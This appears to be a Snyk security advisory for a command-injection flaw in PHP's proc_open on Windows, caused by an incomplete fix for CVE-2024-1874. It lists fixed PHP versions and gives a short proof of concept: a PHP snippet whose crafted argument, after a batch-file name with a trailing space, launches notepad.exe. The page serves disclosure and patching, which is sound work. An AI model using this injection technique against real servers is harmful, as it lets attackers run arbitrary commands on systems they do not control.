Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade php
to version 8.1.29, 8.2.20, 8.3.8 or higher.
Affected versions of this package are vulnerable to Command Injection due to insufficient escaping in the proc_open
command. An attacker can execute arbitrary commands in the Windows shell by supplying specially crafted arguments.
Note:
This is due to an incomplete fix for CVE-2024-1874 that does not work if the command name includes trailing spaces.
test.bat
echo hello
1.php
, notice the space at the end of argv-filename
<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat ", "\"¬epad.exe"], $descriptorspec, $pipes, null, null, array("bypass_shell" => true));
proc_close($proc);
notepad.exe
is popped up.